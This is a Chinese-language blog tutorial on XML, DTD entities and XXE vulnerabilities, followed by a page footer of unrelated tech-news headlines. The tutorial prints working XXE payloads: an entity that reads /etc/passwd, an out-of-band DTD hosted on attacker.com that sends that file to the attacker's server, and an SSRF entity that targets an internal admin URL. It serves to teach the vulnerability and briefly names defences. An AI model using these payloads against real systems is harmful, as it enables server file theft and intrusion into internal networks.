什么是XXE漏洞
文章目录前言1. XML1.1 HTML文档1.2 XML2. XXE2.1 原理2.2 直接外部实体引用经典 XXE2.3 恶意 DTD 文件攻击进阶 XXE2.4 SSRF3. 总结参考前言假如没有学过完整的Web前后端开发可能理解XXE会有点困难。究其原因是因为我们知识的广度不够接受新概念时觉得抽象难懂。我们常说代码/软件 定义一切正是软件提供了一个简易的平台让我们使用计算机屏蔽了底层复杂的逻辑与此同时也引入了一些新的抽象概念。递归的去理解这些概念什么、哪里才是我们的边界/基线呢就是一门编程语言。编程语言写出一个程序允许我们实现某个功能。而程序在实现这个功能时为了方便我们使用又会引入一些新的抽象概念用户根据这些概念和规范输入数据得到输出。即输入特定格式的数据文本/字符串、二进制软件读取处理输出。1. XML1.1 HTML文档我们先说HTML文档。其本质是一个文本文件浏览器会读入文件逐行解析文本根据程序浏览器的预定义处理逻辑输出展示文本内容。为什么h1一级标题/h1会被显示得很大呢正是因为浏览器软件里面已经预定义了h1/h1这个字符串处理这个标签里面得内容时会把解释为“一级标题”。我们不仅可以使用标签来定义文档的结构还可以在HTML文档中使用标签来引入CSS、JavaScript文件浏览器会根据不同的标签元素进行不同的处理。1.2 XMLXML可扩展标记语言eXtensible Markup Language既然是语言代表我们也可以写一段符合其语法的文本交由程序解释器/解析器处理比如?xml version1.0 encodingUTF-8?!DOCTYPEbookstore[!ELEMENTbookstore(book)!ELEMENTbook(title,author,price)!ELEMENTtitle(#PCDATA)!ELEMENTauthor(#PCDATA)!ELEMENTprice(#PCDATA)!ATTLISTbookcategoryCDATA默认分类]bookstorebookcategory技术titleXML入门指南/titleauthor张三/authorpricecurrencyCNY99.00/price/book/bookstore!DOCTYPE 根元素 [……]中的内容叫DTDDocument Type Define类似HTML中浏览器解析script srchttp://www.hacker.com/shell.js/script可以将Js代码写在标签体内也可以将src属性中的资源加载进来交给Js引擎执行DTD内容可以直接写在XML中比如上述例子也可以使用!DOCTYPE 根元素 SYSTEM 文件路径/URL将路径/URL中的DTD文件引入该XML文件中。至于什么是DTD它和XML文件有什么关系可以去b站看下XML相关教程或者问一下deepseek。DTD文件中可以定义“实体”或者可以说是变量本质上是定义一个可复用的数据块也就是说用一个字符串名称指定一个资源实体可分为2种类型通用实体和参数实体两者可在文件中定义也可引用外部数据资源其语法格式如下!-- 通用实体在XML文件中引用引用格式实体名; -- !ENTITY 实体名 实体值 !-- 内部实体 -- !ENTITY 实体名 SYSTEM 文件/URL !-- 外部实体 -- !-- 参数实体DTD文件自身使用 引用格式%实体名; -- !ENTITY % 实体名 实体值 !-- 内部实体 -- !ENTITY % 实体名 SYSTEM 文件/URL !-- 外部实体 --2. XXE2.1 原理XXEXML External Entity漏洞的本质是利用 XML 解析器对外部实体的加载功能通过构造恶意实体实现攻击。其攻击路径可分为两类2.2 直接外部实体引用经典 XXE示例直接读取服务器本地文件!DOCTYPEdata[!ENTITY xxe SYSTEM file:///etc/passwd]dataxxe;/data攻击结果若服务器返回 xxe; 的内容则 /etc/passwd 文件被泄露。防御禁用外部实体如设置 disallow-doctype-decl。2.3 恶意 DTD 文件攻击进阶 XXE当直接外部实体被禁用时攻击者可能通过引用外部 DTD 文件中的参数实体绕过限制。攻击步骤构造恶意 DTD 文件托管在攻击者服务器http://attacker.com/malicious.dtd!ENTITY % payload SYSTEM file:///etc/passwd !ENTITY % param !ENTITY #x25; exfil SYSTEM http://attacker.com/?data%payload; %param; %exfil;解析逻辑#x25;字符引用0x25代表Unicode编码中的%% payload读取 /etc/passwd。% param定义嵌套实体 %exfil将数据外传到攻击者服务器。% exfil;触发 HTTP 请求。诱导服务器解析恶意 XML!DOCTYPEdataSYSTEMhttp://attacker.com/malicious.dtddata123/data结果服务器解析时加载外部 DTD执行参数实体攻击链导致数据外泄。为何更危险绕过防御部分解析器仅禁用通用实体xxe;但允许参数实体%param;。隐蔽性数据通过带外Out-of-Band传输无回显也能窃取信息。2.4 SSRF无论是直接外部实体还是恶意 DTD只要 XML 解析器发起未经授权的网络请求均可能导致 SSRF。例如!DOCTYPEdata[!ENTITY xxe SYSTEM http://内网IP:8080/admin]dataxxe;/data结果服务器向内部服务http://内网IP:8080/admin发起请求攻击者可探测或攻击内网系统。3. 总结说了这么多无非就是Web应用前后端通信使用XML格式的字符串后端语言会解析接收到的XML文本提取数据。我们通过构造一个恶意的XML利用 XML 解析器对外部实体的加载功能进行攻击。参考[1] XML教程[2] W3school DTD教程[3] 小迪安全v2023[4] deepseek

相关新闻

告别命令行!OpenClaw · Windows版本 可视化部署教程,本地 AI 办公神器一步到位

告别命令行!OpenClaw · Windows版本 可视化部署教程,本地 AI 办公神器一步到位

📖前言 本文专为 Windows 系统用户量身打造,系统梳理了 OpenClaw v2.9.3 的标准化部署流程。整个安装过程无需输入任何命令行指令,采用纯可视化、向导式的操作界面,即便是零基础用户也能轻松完成一次性完整部署。文中还汇总了高频…

2026/8/16 14:57:09 阅读更多 →
【Scrapy】Scrapy教程6——提取数据

【Scrapy】Scrapy教程6——提取数据

前一小节我们拿到了页面的数据,那页面中那么多内容,我们想要其中的部分内容,该如何获取呢?这就需要对我们下载到的数据进行解析,提取出来想要的数据,这节就讲讲如何提取数据。 引入 我们编辑保存下来的shouye.html文件看下,发现这是什么鬼,全是如下图的代码。 没错…

2026/8/16 14:56:09 阅读更多 →
全网功能最全的缠论分析工具:从K线处理到智能选股的完整解决方案

全网功能最全的缠论分析工具:从K线处理到智能选股的完整解决方案

一、工具核心功能概览本工具致力于打造全网功能最全、响应最快、实用性最强的缠论分析系统,为投资者提供从基础数据处理到高级智能决策的全方位支持。二、完整的缠论分析链条1. 基础数据处理K线包含处理:自动识别并处理K线包含关系,确保分析基…

2026/8/16 14:56:09 阅读更多 →

最新新闻

小红书无水印下载实战:三步用XHS-Downloader保存图文和视频

小红书无水印下载实战:三步用XHS-Downloader保存图文和视频

小红书无水印下载实战:三步用XHS-Downloader保存图文和视频 【免费下载链接】XHS-Downloader 小红书(XiaoHongShu、RedNote)链接提取/作品采集工具:提取账号发布、收藏、点赞、专辑作品链接;提取搜索结果作品、用户链接…

2026/8/16 15:35:37 阅读更多 →
不越狱也能给 iPhone 换位置:iFakeLocation 三平台虚拟定位完整指南

不越狱也能给 iPhone 换位置:iFakeLocation 三平台虚拟定位完整指南

不越狱也能给 iPhone 换位置:iFakeLocation 三平台虚拟定位完整指南 【免费下载链接】iFakeLocation Simulate locations on iOS devices on Windows, Mac and Ubuntu. 项目地址: https://gitcode.com/gh_mirrors/if/iFakeLocation 开发者做 LBS 应用测试时&…

2026/8/16 15:35:37 阅读更多 →
Java Swing+MySQL 小型宠物店宠物寄养管理系统 毕业设计 完整源码

Java Swing+MySQL 小型宠物店宠物寄养管理系统 毕业设计 完整源码

一、项目简介本项目是一款基于 Java Swing MySQL 开发的小型宠物店宠物寄养管理系统,适用于中小型宠物店日常寄养业务、宠物档案管理、客户管理、疫苗记录、库存管理、营收统计等场景。系统界面简洁、功能完整、代码结构清晰,非常适合作为 Java 课程设计…

2026/8/16 15:35:37 阅读更多 →
MCP把智能体连成了网,却没人给它们一份共享记忆

MCP把智能体连成了网,却没人给它们一份共享记忆

MCP 把智能体连成了网,却没人给它们一份共享记忆一、2026,AI 不再独行——但它们彼此陌生 如果你今天还在用一个 Agent 干所有活,那很可能已经落伍了。 2026 年的 AI 行业有一个明显的转向:大模型发布会突然安静了,基础…

2026/8/16 15:35:37 阅读更多 →
Lingarr安全加固指南:认证、API密钥加密与多用户权限管理全攻略

Lingarr安全加固指南:认证、API密钥加密与多用户权限管理全攻略

Lingarr安全加固指南:认证、API密钥加密与多用户权限管理全攻略 【免费下载链接】lingarr Lingarr is an application that supports both local and SaaS translation services to translate subtitle files into a specified target language. With automated tra…

2026/8/16 15:35:37 阅读更多 →
gibMacOS 实战手册:不碰 Mac 也能直连 Apple 目录,三分钟拉回 macOS 安装文件

gibMacOS 实战手册:不碰 Mac 也能直连 Apple 目录,三分钟拉回 macOS 安装文件

gibMacOS 实战手册:不碰 Mac 也能直连 Apple 目录,三分钟拉回 macOS 安装文件 【免费下载链接】gibMacOS Py2/py3 script that can download macOS components direct from Apple 项目地址: https://gitcode.com/gh_mirrors/gi/gibMacOS gibMacOS…

2026/8/16 15:34:37 阅读更多 →

日新闻

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

如果你是一名开发者,最近可能已经感受到了AI大模型正在从“玩具”变成“生产力工具”的强烈信号。从代码补全到智能Agent,从本地部署到云端API,我们正处在一个技术栈快速重构的节点。然而,面对层出不穷的模型、框架和工具&#xf…

2026/8/16 0:00:54 阅读更多 →
工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

第四篇:反射——高频能量撞墙之后会发生什么? —— 你以为信号已经过去了,其实它正在回来打你 老Q的现场笔记 第五季,我们正式进入工业神经系统层。这里不再是单个设备的战斗,而是整个工厂“经脉”层面的秩序之战。从这一篇开始,你将第一次看清:看似简单的信号传播,背…

2026/8/16 0:00:55 阅读更多 →
【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…

2026/8/16 0:03:55 阅读更多 →

周新闻

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

如果你是一名开发者,最近可能已经感受到了AI大模型正在从“玩具”变成“生产力工具”的强烈信号。从代码补全到智能Agent,从本地部署到云端API,我们正处在一个技术栈快速重构的节点。然而,面对层出不穷的模型、框架和工具&#xf…

2026/8/16 0:00:54 阅读更多 →
工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

第四篇:反射——高频能量撞墙之后会发生什么? —— 你以为信号已经过去了,其实它正在回来打你 老Q的现场笔记 第五季,我们正式进入工业神经系统层。这里不再是单个设备的战斗,而是整个工厂“经脉”层面的秩序之战。从这一篇开始,你将第一次看清:看似简单的信号传播,背…

2026/8/16 0:00:55 阅读更多 →
【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…

2026/8/16 0:03:55 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/16 6:00:23 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/16 6:00:24 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/16 6:00:27 阅读更多 →